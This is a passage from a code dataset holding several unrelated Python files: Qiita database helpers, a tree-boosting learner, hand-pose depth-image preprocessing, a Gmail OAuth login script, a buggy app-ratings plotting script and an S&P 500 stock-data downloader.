object\n\n Returns\n -------\n str\n The string correspinding to the id\n\n Raises\n ------\n ValueError\n The passed id has no associated string\n \"\"\"\n conn_handler = conn_handler if conn_handler else SQLConnectionHandler()\n string = conn_handler.execute_fetchone(\n \"SELECT {0} FROM qiita.{0} WHERE {0}_id = %s\".format(table),\n (value, ))\n if string is None:\n raise ValueError(\"%s not valid for table %s\" % (value, table))\n return string[0]\n\n\ndef get_count(table):\n \"\"\"Counts the number of rows in a table\n\n Parameters\n ----------\n table : str\n The name of the table of which to count the rows\n\n Returns\n -------\n int\n \"\"\"\n conn = SQLConnectionHandler()\n sql = \"SELECT count(1) FROM %s\" % table\n return conn.execute_fetchone(sql)[0]\n\n\ndef check_count(table, exp_count):\n \"\"\"Checks that the number of rows in a table equals the expected count\n\n Parameters\n ----------\n table : str\n The name of the table of which to count the rows\n exp_count : int\n The expected number of rows in the table\n\n Returns\n -------\n bool\n \"\"\"\n obs_count = get_count(table)\n return obs_count == exp_count\n\n\ndef get_preprocessed_params_tables():\n \"\"\"returns a list of preprocessed parmaeter tables\n\n Returns\n -------\n list or str\n \"\"\"\n sql = (\"SELECT * FROM information_schema.tables WHERE table_schema = \"\n \"'qiita' AND SUBSTR(table_name, 1, 13) = 'preprocessed_'\")\n conn = SQLConnectionHandler()\n return [x[2] for x in conn.execute_fetchall(sql)]\n\n\ndef get_processed_params_tables():\n \"\"\"Returns a list of all tables starting with \"processed_params_\"\n\n Returns\n -------\n list of str\n \"\"\"\n sql = (\"SELECT * FROM information_schema.tables WHERE table_schema = \"\n \"'qiita' AND SUBSTR(table_name, 1, 17) = 'processed_params_'\")\n\n conn = SQLConnectionHandler()\n return sorted([x[2] for x in conn.execute_fetchall(sql)])\n\n\ndef get_user_fp(email):\n \"\"\"Returns the user's working filepath\n\n Parameters\n ----------\n email : str\n The email of the user\n\n Returns\n -------\n str\n The user's working filepath, a join of the\n qiita_config.upload_data_dir and the host and name of the user's email\n \"\"\"\n fp_vals = email.split('@')\n fp = join(qiita_config.upload_data_dir, fp_vals[1], fp_vals[0])\n\n return fp\n\n\ndef get_study_fp(study_id):\n \"\"\"Returns the study's working filepath\n\n Parameters\n ----------\n study_id : int\n The study id\n\n Returns\n -------\n str\n The study's working filepath, a join of the\n qiita_config.upload_data_dir and the study's email\n \"\"\"\n fp = join(qiita_config.upload_data_dir, str(study_id))\n\n return fp\n","sub_path":"qiita_db/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":22493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"235291454","text":"# booster.py: tree boosting algorithm implementation\nimport numpy as np\nimport pandas as pd\n\nfrom treeboost.losses import MSE\nfrom treeboost.tree import Node, Tree, TreeList\n\n\ndef check_nan(x_val):\n return x_val is None or np.isnan(x_val) or pd.isnull(x_val)\n\n\nclass TreeBooster:\n def __init__(self, loss=MSE, n_trees=None, n_early_stop=None, eval_sets=None, feature_names=None,\n eta=0.3, max_depth=5,\n reg_gamma=1, reg_alpha=1, reg_lambda=1, n_procs=1,):\n super().__init__()\n\n # booster parameters\n self.loss = loss\n self.n_trees = n_trees\n self.n_early_stop = n_early_stop\n self.feature_names = feature_names\n self.eta = eta\n self.max_depth = max_depth\n\n # regularization parameters\n self.reg_gamma = reg_gamma\n self.reg_alpha = reg_alpha\n self.reg_lambda = reg_lambda\n\n # evaluation sets\n self.eval_sets = eval_sets\n\n # computational prameters\n self.n_procs = n_procs\n\n # default parameters\n self.n_max_trees = 20\n self.initial_w = 0.5\n\n # tree structure\n self._tree_list = TreeList()\n\n def fit(self, X, y):\n assert len(X) == len(y)\n\n # max trees (rounds)\n max_rounds = self.n_trees or self.n_max_trees\n\n # total len of objects in the X set\n len_objects = len(X)\n\n # initial tree, attaches initial_w to all train objects\n initial_tree = Tree(root=Node(w=self.initial_w))\n\n # predictions on the previous step\n y_hats_prev = [initial_tree.predict(None)] * len_objects\n\n for eval_set in self.eval_sets:\n name, set_X, y_true = eval_set\n y_hat = self.predict_list(set_X)\n set_loss = self.loss.total_loss(y_true, y_hat)\n print('initial loss {}: {}={}, rmse={}'.format(name, self.loss.name(), set_loss, set_loss ** 0.5))\n\n for n_round in range(max_rounds):\n print('processing round {}/{}'.format(n_round+1, max_rounds))\n round_tree = self._create_round_tree(X, y, y_hats_prev)\n\n if round_tree is None:\n print('round_tree is None, stopping optimization')\n break\n\n print('round {} tree:'.format(n_round))\n round_tree.print(feature_names=self.feature_names)\n\n y_hats_prev = [y_hat+round_tree.predict(x) for y_hat, x in zip(y_hats_prev, X)]\n self._tree_list.add_tree(round_tree)\n\n for eval_set in self.eval_sets:\n name, set_X, y_true = eval_set\n y_hat = self.predict_list(set_X)\n set_loss = self.loss.total_loss(y_true, y_hat)\n print('loss {}: {}={}, rmse={}'.format(name, self.loss.name(), set_loss, set_loss**0.5))\n\n def _create_round_tree(self, X, y, y_hats_prev, level=1):\n if level > self.max_depth:\n return None\n\n # len of features\n len_features = len(X[0])\n\n print('len(X)={}'.format(len(X)))\n\n best_gain = None\n best_n_feature = None\n best_value = None\n best_G, best_left_G, best_right_G = None, None, None\n best_H, best_left_H, best_right_H = None, None, None\n\n for n_feature in range(len_features):\n name_info = '' if self.feature_names is None else ' [{}]'.format(self.feature_names[n_feature])\n # print('\\tprocessing feature #{}/{}{}'.format(n_feature + 1, len_features, name_info))\n\n nn_X = [x for x in X[:, n_feature] if not check_nan(x)]\n feature_unique_values = sorted(list(set(nn_X)))\n if len(feature_unique_values) <= 1:\n continue\n\n for value in feature_unique_values:\n # print('\\t\\tprocessing value {}'.format(value))\n is_value_none = check_nan(value)\n\n if is_value_none:\n continue\n\n # print('\\t\\tprocessing value {}'.format(value))\n\n G_left, G_right = 0., 0.\n H_left, H_right = 0., 0.\n\n for x, y_true, y_prev in zip(X, y, y_hats_prev):\n g = self.loss.dev1(y_true, y_prev)\n h = self.loss.dev2(y_true, y_prev)\n\n x_val = x[n_feature]\n is_x_none = check_nan(x_val)\n\n if is_x_none or x_val < value:\n G_left += g\n H_left += h\n else:\n G_right += g\n H_right += h\n\n G_left_alpha_sq = (G_left + self.reg_alpha) ** 2\n G_right_alpha_sq = (G_right + self.reg_alpha) ** 2\n G_alpha_sq = (G_left + G_right + self.reg_alpha) ** 2\n\n H_left_lambda = H_left + self.reg_lambda\n H_right_lambda = H_right + self.reg_lambda\n H_lambda = H_left + H_right + self.reg_lambda\n\n gain = 0.5 * (G_left_alpha_sq / H_left_lambda + G_right_alpha_sq / H_right_lambda\n - G_alpha_sq / H_lambda)\n\n if best_gain is None or gain > best_gain:\n best_gain = gain\n best_n_feature = n_feature\n best_value = value\n best_left_G = G_left + self.reg_alpha\n best_left_H = H_left + self.reg_lambda\n best_right_G = G_right + self.reg_alpha\n best_right_H = H_right + self.reg_lambda\n\n # print('\\t\\t\\tG_alpha_sq={:0.8f}, H_lambda={:0.8f}'.format(G_alpha_sq, H_lambda))\n # print('\\t\\t\\tgain={:0.8f}, n_feature={}, value={}'.format(gain, n_feature+1, value))\n\n if best_gain is None or best_gain < self.reg_gamma:\n print('gain is none or less than gamma, stopping')\n round_tree = None\n\n else:\n left_w = -best_left_G / best_left_H * self.eta\n right_w = -best_right_G / best_right_H * self.eta\n # fname = '' if self.feature_names is None else self.feature_names[best_n_feature]\n # print('building node on feature {} [{}], threshold={}, gain={}, '\n # 'left_w={}, right_w={}'.format(best_n_feature, fname, best_value, best_gain, left_w, right_w))\n\n left_node = Node(w=left_w)\n right_node = Node(w=right_w)\n threshold = best_value\n root_node = Node(field_index=best_n_feature, threshold=threshold,\n left_node=left_node, right_node=right_node)\n round_tree = Tree(root=root_node)\n\n left_X, left_y, right_X, right_y = [], [], [], []\n for x, yt in zip(X, y):\n x_val = x[best_n_feature]\n is_x_none = check_nan(x_val)\n\n if is_x_none or x_val < threshold:\n left_X.append(x)\n left_y.append(yt)\n else:\n right_X.append(x)\n right_y.append(yt)\n\n left_X = np.array(left_X)\n right_X = np.array(right_X)\n\n left_subtree = self._create_round_tree(left_X, left_y, y_hats_prev, level + 1)\n right_subtree = self._create_round_tree(right_X, right_y, y_hats_prev, level + 1)\n\n if left_subtree is not None:\n root_node._left_node = left_subtree._root\n\n if right_subtree is not None:\n root_node._right_node = right_subtree._root\n\n return round_tree\n\n def predict_list(self, X):\n y_hat_list = []\n\n for x in X:\n y_hat = self.predict_object(x)\n y_hat_list.append(y_hat)\n\n return y_hat_list\n\n def predict_object(self, x):\n return self._tree_list.predict(x)\n","sub_path":"treeboost/booster.py","file_name":"booster.py","file_ext":"py","file_size_in_byte":7776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"550225657","text":"import os\nimport cv2\nimport numpy as np\nimport pickle as pkl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom scipy import ndimage\n\nfx = 614.62700\nfy = 614.10100\n#ux =\njointsMapManoToSimple = [0,\n 13, 14, 15, 16,\n 1, 2, 3, 17,\n 4, 5, 6, 18,\n 10, 11, 12, 19,\n 7, 8, 9, 20]\n\ndef project_3D_points(cam_mat, pts3D, is_OpenGL_coords=True):\n '''\n Function for projecting 3d points to 2d\n :param camMat: camera matrix\n :param pts3D: 3D points\n :param isOpenGLCoords: If True, hand/object along negative z-axis. If False hand/object along positive z-axis\n :return:\n '''\n assert pts3D.shape[-1] == 3\n assert len(pts3D.shape) == 2\n\n coord_change_mat = np.array([[1., 0., 0.], [0, -1., 0.], [0., 0., -1.]], dtype=np.float32)\n if is_OpenGL_coords:\n pts3D = pts3D.dot(coord_change_mat.T)\n\n proj_pts = pts3D.dot(cam_mat.T)\n proj_pts = np.stack([proj_pts[:,0]/proj_pts[:,2], proj_pts[:,1]/proj_pts[:,2] , proj_pts[:,2]*1000],axis=1)\n\n #new_proj = projectPoints(pts3D,cam_mat)\n assert len(proj_pts.shape) == 2\n return proj_pts\n\ndef projectPoints(xyz, K):\n \"\"\" Project 3D coordinates into image space. \"\"\"\n xyz = np.array(xyz)\n K = np.array(K)\n uv = np.matmul(K, xyz.T).T\n return uv[:, :2] / uv[:, -1:]\n\ndef world2pixel(x, fx, fy, ux, uy):\n x[ :, 0] = (x[ :, 0] * fx / x[ :, 2]) + ux\n x[ :, 1] = (x[ :, 1] * fy / x[ :, 2]) + uy\n #return x.astype(int)\n return x\n\ndef read_depth_img(depth_filename):\n \"\"\"Read the depth image in dataset and decode it\"\"\"\n #depth_filename = os.path.join(base_dir, split, seq_name, 'depth', file_id + '.png')\n\n #_assert_exist(depth_filename)\n print (depth_filename)\n depth_scale = 0.00012498664727900177\n depth_img = cv2.imread(depth_filename)\n\n dpt = depth_img[:, :, 2] + depth_img[:, :, 1] * 256\n\n dpt = dpt * depth_scale * 1000\n\n dpt[dpt==0] = 2000\n return dpt\n\n\ndef CropImage(image,com,joints):\n cube_size = 150\n img_size = 150\n\n u , v, d = com\n u = float(u)\n v = float(v)\n d = float(d)\n\n xstart = u - float(cube_size) / d * fx\n xend = u + float(cube_size) / d * fx\n ystart = v - float(cube_size) / d * fy\n yend = v + float(cube_size) / d * fy\n print ('xstart,xend,ystart,yend',xstart,xend,ystart,yend)\n\n src = [(xstart, ystart), (xstart, yend), (xend, ystart)]\n dst = [(0, 0), (0, img_size - 1), (img_size - 1, 0)]\n trans = cv2.getAffineTransform(np.array(src, dtype=np.float32),\n np.array(dst, dtype=np.float32))\n res_img = cv2.warpAffine(image, trans, (img_size, img_size), None,\n cv2.INTER_LINEAR, cv2.BORDER_CONSTANT, d + cube_size)\n res_img -= d\n res_img = np.maximum(res_img, -cube_size)\n res_img = np.minimum(res_img, cube_size)\n res_img /= cube_size\n\n joints[:,2] = 1\n trans_jonts = np.dot(trans,joints.T)\n trans_jonts /= cube_size\n return res_img,trans_jonts.T\n\ndef getPalmCenter(joints):\n joint_idx = [0,2,6,10,14,18]\n mean = []\n for i in range(1,6):\n m = np.mean([joints[0],joints[joint_idx[i]]],axis=0)\n mean.append(m)\n mean = np.asarray(mean)\n return np.mean(mean,axis=0)\n\ndef getObjCenter(corners):\n corners = np.asarray(corners)\n return np.mean(corners,axis=0)\n\ndef getCenter(joints,corners):\n palmcenter = getPalmCenter(joints)\n objcenter = getObjCenter(corners)\n return np.mean(np.array([palmcenter,objcenter]),axis=0)\n\ndef normalizeImage(img):\n img = img.astype(np.float32) # convert to float\n img -= img.min()\n img /= img.max()\n #img = np.uint8((img) * 255)\n return img\n\n#################### draw skeleton and object bounding box\ndef drawSkeleton(joints,objCorners,img, mode='2D'):\n fig = plt.figure()\n palmcenter = getPalmCenter(joints)\n objcenter = getObjCenter(objCorners)\n print('palmcenter ',palmcenter)\n print('objcenter ', objcenter)\n joints = np.append(joints, [palmcenter], axis=0)\n\n if(mode == '2D'):\n # bone joints indexe as set of points order by thumb, index, middle, ring, pinky fingers\n bones = [[0, 1, 2, 3, 4], [0, 5, 6, 7, 8], [0, 9, 10, 11, 12],[0, 13, 14, 15, 16], [0, 17, 18, 19, 20]]\n jointConns = [[0, 1, 3, 2, 0], [4, 5, 7, 6, 4], [0, 4], [1, 5], [2, 6], [3, 7]]\n # skeleton array to hold the x,y coordinates\n ske_joint = []\n obj_edges = []\n ####### add hand bones\n for i in range(0, len(bones)):\n pairset = bones[i]\n X = []\n Y = []\n for j in pairset:\n X.append(joints[j][0])\n Y.append(joints[j][1])\n ske_joint.append([X, Y])\n\n ########### add object corners\n for i in range(0, len(jointConns)):\n pairset = jointConns[i]\n X = []\n Y = []\n for j in pairset:\n X.append(objCorners[j][0])\n Y.append(objCorners[j][1])\n obj_edges.append([X, Y])\n\n ############# scatter the points\n fig.suptitle('original', fontsize=14, fontweight='bold')\n plt.imshow(img,'gray')\n plt.scatter(joints[:, 0], joints[:, 1], s=30, c='y',edgecolors='y', alpha=0.5)\n plt.scatter(palmcenter[0], palmcenter[1], s=30, c='r')\n\n plt.scatter(objCorners[:,0],objCorners[:,1],s=30, c='c')\n plt.scatter(objcenter[0], objcenter[1], s=30, c='r')\n\n ############ draw the bones\n for s in ske_joint:\n plt.plot(s[0], s[1], linewidth=1.0,c='g')\n for o in obj_edges:\n plt.plot(o[0], o[1], linewidth=1.0, c='m')\n else:\n\n ############## bone joints indexe as pair of points order by thumb, index, middle, ring, pinky fingers\n bones_3d = [[0, 1], [1, 2], [2, 3], [3, 4], [0, 5], [5, 6], [6, 7], [7, 8], [0, 9], [9, 10],\n [10, 11], [11, 12], [0, 13], [13, 14], [14, 15], [15, 16], [0, 17], [17, 18], [18, 19], [19, 20]]\n edges_3d = [[0,1],[1,3],[3,2],[2,0],[4,5],[5,7],[7,6],[6,4],[0,4],[1,5],[2,6],[3,7]]\n\n ############ Display in 3D\n ax = fig.add_subplot((111), projection='3d')\n ax.set_xlabel('X Label')\n ax.set_ylabel('Y Label')\n ax.set_zlabel('Z Label')\n\n for b in bones_3d:\n ax.plot(joints[b, 0], joints[b, 1], joints[b, 2], linewidth=1.0 , c='g')\n ax.scatter(joints[:, 0], joints[:, 1], joints[:, 2],c=\"b\", edgecolors='b')\n\n for e in edges_3d:\n ax.plot(objCorners[e, 0], objCorners[e, 1], objCorners[e, 2], linewidth=1.0 , c='m')\n ax.scatter(objCorners[:, 0], objCorners[:, 1], objCorners[:, 2],c=\"c\", edgecolors='c')\n\n plt.ion()\n plt.draw()\n plt.pause(1)\n plt.waitforbuttonpress()\n plt.close('all')\n #return plt\n\ndef drawProcessedImg(joints,img ):\n #J = joints.shape[0]\n img_scaled = (img + 1) / 2\n im = np.zeros((img.shape[0], img.shape[1], 3))\n im[:, :, 0] = img_scaled\n im[:, :, 1] = img_scaled\n im[:, :, 2] = img_scaled\n\n joints[:, 0] = (joints[:, 0] +1) / 2 * img.shape[0]\n joints[:, 1] = (joints[:, 1]+1) / 2 * img.shape[1]\n\n # joints[:, 0] = joints[:, 0] * img.shape[0]\n # joints[:, 1] = joints[:, 1] * img.shape[1]\n\n bones = [[0, 1, 2, 3, 4], [0, 5, 6, 7, 8], [0, 9, 10, 11, 12],[0, 13, 14, 15, 16], [0, 17, 18, 19, 20]]\n # skeleton array to hold the x,y coordinates\n ske_joint = []\n for i in range(0, len(bones)):\n pairset = bones[i]\n X = []\n Y = []\n for j in pairset:\n X.append(joints[j][0])\n Y.append(joints[j][1])\n ske_joint.append([X, Y])\n\n #print joints\n\n # plt.close() will close the figure window entirely, where plt.clf() will just clear the figure - you can still paint another plot onto it.\n plt.clf()\n plt.imshow(img_scaled, 'gray')\n plt.scatter(joints[:, 0], joints[:, 1], s=30, c='r', edgecolors='r', alpha=0.5)\n\n for s in ske_joint:\n plt.plot(s[0], s[1], linewidth=2.0, c='y')\n\n #plt.ion()\n #plt.show()\n plt.waitforbuttonpress()\n plt.axis('off')\n #plt.pause(0.000000000001)\n\ndef convertXYZToxyz(points, center):\n points = points - center\n points = points / 150\n return points\n\nif __name__ == '__main__':\n depthpath = '/data/Guha/TestDepthSynth/ABF10/depth'\n rgbpath = '/data/Guha/TestDepthSynth/ABF10/rgb'\n metapath = '/data/Guha/TestDepthSynth/ABF10/meta'\n depthimglist = sorted(os.listdir(depthpath))\n metalist = sorted(os.listdir(metapath))\n\n camMat = np.load(metapath + '/' + metalist[0], allow_pickle=True)['camMat']\n fx = camMat[0, 0]\n fy = camMat[1, 1]\n ux = camMat[0, 2]\n uy = camMat[1, 2]\n for i in range(1000,len(depthimglist)):\n depth = read_depth_img(depthpath+'/'+depthimglist[i])\n\n annot = np.load(metapath+'/'+metalist[i],allow_pickle=True)\n handJoints = annot['handJoints3D']\n objCorners = annot['objCorners3D']\n\n handJoints_uvd = project_3D_points(camMat,handJoints[jointsMapManoToSimple])\n obj_uvd = project_3D_points(camMat, objCorners, is_OpenGL_coords=True)\n #drawSkeleton(handJoints_uvd,obj_uvd,depth)\n com = getCenter(handJoints_uvd,obj_uvd)\n print ('com:',com)\n cropped,trans = CropImage(depth,com,handJoints_uvd)\n\n ########### display for testing ###############\n # fig = plt.figure()\n # ax1 = fig.add_subplot(1, 1, 1)\n # ax1.imshow(cropped,'gray')\n # ax1.title.set_text('after crop')\n # plt.show()\n # palmcenter = getPalmCenter(handJoints_uvd)\n # norm_joints = convertXYZToxyz(handJoints_uvd,com)\n # drawProcessedImg(norm_joints,cropped)\n\n\n","sub_path":"src/dump/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":9685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"476413501","text":"from __future__ import print_function\nimport pickle\nimport os.path\nimport base64\nimport email\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom apiclient import errors\nimport logging, coloredlogs\nimport sys\n\ncoloredlogs.install()\nlogging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s',\n\tlevel=logging.INFO,\n\tdatefmt='%Y-%m-%d %H:%M:%S')\n\nlogging.getLogger('googleapiclient.discovery_cache').setLevel(logging.CRITICAL)\nlogging.getLogger('googleapiclient.discovery').setLevel(logging.WARNING)\n\nSCOPES = ['https://www.googleapis.com/auth/gmail.readonly']\n\n\ndef auth_service_to(account):\n try:\n #os.chdir(\"/home/uad/apps/bot-gmail-organizer/\")\n pathname = os.path.dirname(sys.argv[0])\n fullpath = os.path.abspath(pathname)\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n file_token = fullpath + '/test_dir/token-' + account + '.pickle'\n file_cred = fullpath + '/test_dir/test-credentials.json'\n if os.path.exists(file_token):\n with open(file_token, 'rb') as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n file_cred, SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run \n with open(file_token, 'wb') as token:\n pickle.dump(creds, token)\n \n logging.info(\"# Authenticated\")\n except Exception as e:\n logging.info(\"Authentication failed\")\n logging.error(e)\n\n service = build('gmail', 'v1', credentials=creds)\n return service\n\n\n\nauth_service_to(sys.argv[1])","sub_path":"study/.ipynb_checkpoints/auth_test-checkpoint.py","file_name":"auth_test-checkpoint.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"206850871","text":"import csv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ncategories = [] # strip out the first row of text\ninstalls = [] # push the installs data here\nratings = [] # push the ratings data here\n\n# open the csv file and parse it \nwith open(\"data/googleplaystore.csv\") as csvfile:\n\treader = csv.reader(csvfile)\n\tline_count = 0\n\n\tfor row in reader:\n\t\tif line_count is 0: # strip the headers out\n\t\t\tprint('pushing text row to categories array')\n\t\t\tcategories.append(row)\n\t\t\tline_count += 1\n\t\telse:\n\t\t\t# collect the ratings info\n\t\t\tratingsData = row[2]\n\t\t\tratingsData = ratingsData.replace(\"Nan\", \"0\")\n\t\t\tratings.append(float(ratingsData))\n\n\t\t\t# print('collect the rest of the data')\n\t\t\tinstallData = row[5]\n\t\t\tinstallDats = installData.replace(\",\", \"\")\n\t\t\tinstallData = installDat.replace(\"Free\", \"0\")\n\t\t\tinstalls.append(int(np.char.strip(installData, \"+\")))\n\t\t\tline_count += 1\n\nprint('processed', line_count, \"rows of data\")\nprint('first line', installs[0])\nprint('last line', installs[-1])\n\nnp_ratings = np.array(ratings)\n\npopular_apps = np_ratings > 4\npop_pct = lens(np_ratings[popular_apps]) / lens(np_ratings) * 100\nprint(pop_pct)\n\nunpopular_apps = np_ratings > 2\nnot_pop_pct = lens(np_ratings[popular_apps]) / lens(np_ratings) * 100\nprint(not_pop_pct)\n\nmid_apps = 100 - (pop_pct + not_pop_pct)\n\n# now we can plot stuff!\nlables = \"Sucks, Meh, Love it!\"\nsizes = [not_pop_pct, mid_apps, pop_pct]\ncolors = ['yellowgreen', 'lightcoral', 'lightbluesky']\n\nplt.pie(sizes, explode=explode, colors=colors, autopct='%1.1%%', shadow=True, startangle=140)\nplt.axis('equal')\n\nplt.legend(lables, loc=1)\nplt.title(\"Do We Love Our Apps?\")\nplt.xlabel(\"User Ratings - Google Play Store App Installs\")\nplt.show()\n\n\n\n\n","sub_path":"datavis.py","file_name":"datavis.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"102606233","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 9 22:18:41 2020\n\n@author: Robert E. Ruzzo III\n\nThe object of this script is to perform the following tasks:\n1. Grab the current List of S&P 500 Company Tickers\n2. Using the Yahoo Finance API, Download all the data for a given time period\n and save them to a csv. (open, high, low, close,volume, dividends, stock splits)\n3. Update the data when called. In this case the update period will be calculated.\n If the data has not been updated in greater than 3 months, the data should be \n refreshed using the original grab function, as opposed to the update function.\n4. Using any csv list of stock tickers, download or update the data accordingly.\n\n5. Read a CSV with stock tickers and import them into a csv file for use as above.\n\nNotes:\n\nYahoo Finance acceptable time periods:\nvalid periods: 1d,5d,1mo,3mo,6mo,1y,2y,5y,10y,ytd,max\nValid intervals: 1m,2m,5m,15m,30m,60m,90m,1h,1d,5d,1wk,1mo,3mo\n Intraday data cannot extend last 60 days\n\nMIT License\n\nCopyright (c) 2020 Robert E. Ruzzo III\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n\"\"\"\n\n#imports\n\nimport bs4 as bs\nimport requests\nimport os\nimport time\nimport yfinance as yf\nimport pandas as pd\nfrom datetime import datetime\nimport glob as g\nimport sys\n\n\n'''\nFunction Name: save_sp_500_tickers(data_directory)\nFunction Purpose: To get the current list of S&P500 ticker Symbols from wikipedia\n and save them to a file tickers.csv\nArguments: data_directory: A string representing the data directory where csv files containing tickers are stored\nOutput: sp500tickers.csv\n'''\ndef save_sp_500_tickers(data_directory):\n resp=requests.get('https://en.wikipedia.org/wiki/List_of_S%26P_500_companies')\n soup=bs.BeautifulSoup(resp.text, 'lxml')\n table=soup.find('table',{'class': 'wikitable sortable'})\n tickers=[]\n tickers.append(\"Ticker\")\n for row in table.findAll('tr')[1:]:\n ticker = row.findAll('td')[0].text.replace('.','-')\n ticker = ticker[:-1]\n tickers.append(ticker)\n if os.path.exists(data_directory+'sp500tickers.csv'):\n os.remove(data_directory+'sp500tickers.csv')\n with open(data_directory+'sp500tickers.csv',\"a\",newline='') as f:\n tickersDf=pd.DataFrame(tickers)\n f.write(tickersDf.to_csv(header=False, index=False))\n \n \n\n'''\nFunction Name: update_ticker_prices_fromLast(data_directory,ticker_sub_directory,fileName)\nFunction Purpose: When given a csv file with a list of ticker names, if a csv file exists in the ticker subdirectory,\n then the function will check the last date in the file, download the data in a valid increment,\n and update the file.\nArguments: data_directory: A string representing the data directory where csv files containing tickers are stored\n ticker_sub_directory: The sub folder that the csv files for each ticker will be stored\n fileName: A string representing name of the csv file that contains the tickers, .csv should be included\n delay: float - The delay time in seconds between ticker info downloads, 0.5 works well, not to anger the yahoo server\n'''\ndef update_ticker_prices_fromLast(data_directory,ticker_sub_directory,fileName,delay):\n tickers=pd.read_csv(data_directory + fileName, usecols=[\"Ticker\"], index_col=None)\n for ticker in tickers[\"Ticker\"]:\n print(\"Updating Ticker: {}\".format(ticker))\n if not os.path.exists(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker)):\n print(\"Ticker File Not Found, Check directory, ticker name, or run get_data_from_yahoo()\")\n else:\n delta, last_date=get_update_date_delta(data_directory,ticker_sub_directory,'{}'.format(ticker))\n if delta==0:\n print(\"No Update Needed for {}\".format(ticker))\n continue\n if delta==1:\n update_period = \"1d\"\n if delta > 1 and delta < 32:\n update_period =\"1mo\"\n if delta > 31 and delta < 94:\n update_period =\"3mo\"\n if delta > 93: \n print(\"It has been more than 3 Months since update, it would be more efficient to get new data. \\nUse get_data_from_yahoo\") \n print(\"\\nDays Since Last Update: {} \".format(delta)) \n continue\n with open(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker),\"a\",newline='') as f:\n tick=yf.Ticker(ticker)\n df=tick.history(update_period)\n df['Adj Close'] = df['Close']\n df.index.name =\"Date Time\"\n df.drop(columns=['Dividends','Stock Splits'],axis=1, inplace=True)\n df.reset_index(inplace=True)\n #Depedent on Update Time, Get aftermarket volume info\n if update_period ==\"1d\":\n df.drop(df.index[1], inplace=True) \n f.write(df.to_csv(date_format='%s',header=False, index=False))\n time.sleep(delay)\n \n\n'''\nFunction Name: get_data_from_yahoo(data_directory,ticker_sub_directory,fileName,period,refresh,purge)\nPurpose: This function will take as an input a csv file\n which it will open, take in all of the ticker names\n and download the information using the Yahoo Finance API.\nArguments: data_directory: Data parent directory - this is where the csv files should be stored\n ticker_sub_directory: String, data sub directory, this is where a csv for each of the tickers history will be stored\n fileName: String, file name of the csv file that resides in the data_directory to read tickers from. The\n default is sp500tickers.csv, other csv files in the same format can be used.\n period: This is the length of the history that you wish to download.\n The following values are allowed for the Yahoo Finance API: 1d,5d,1mo,3mo,6mo,1y,2y,5y,10y,ytd,max\n The default period is set to 1y or 1 year. The input is a string.\n refresh: Bool, if set to True, it will delete the file for each ticker, and re-download the data for the desired period. This will\n leave old tickers that arent in the ticker list intact.\n purge: Bool, if set to True, ALL data files in the directory will be deleted, and then the data will be downloaded. This\n function serves to delete old data that is in the directory that is no longer in use. IE after a watch list has changed.\n delay: float - The delay time in seconds between ticker info downloads, 0.5 works well, not to anger the yahoo server\n'''\ndef get_data_from_yahoo(data_directory,ticker_sub_directory,fileName,period,refresh,purge,delay):\n if not os.path.exists(data_directory+fileName):\n print(data_directory+fileName+\" Not Found! Check Path and File Name! Exiting!\")\n sys.exit()\n with open(data_directory + fileName,\"rb\") as f:\n tickers=pd.read_csv(data_directory + fileName, usecols=[\"Ticker\"], index_col=None)\n if purge:\n files=g.glob(data_directory+ticker_sub_directory+'/*')\n print(\"Purging all files for a fresh clean start\")\n for f in files:\n os.remove(f)\n if not os.path.exists(data_directory+ticker_sub_directory):\n os.makedirs(data_directory+ticker_sub_directory)\n for ticker in tickers[\"Ticker\"]:\n if not os.path.exists(data_directory+ticker_sub_directory+'/{}.csv'.format(ticker)):\n print(\"Getting Ticker: {}\".format(ticker))\n tick=yf.Ticker(ticker)\n df=tick.history(period=period)\n df['Adj Close'] = df['Close']\n df.index.name =\"Date Time\"\n df.reset_index(inplace=True)\n df[\"Date Time\"]=pd.to_datetime(df[\"Date Time\"])\n df.drop(columns=['Dividends','Stock Splits'],axis=1, inplace=True)\n 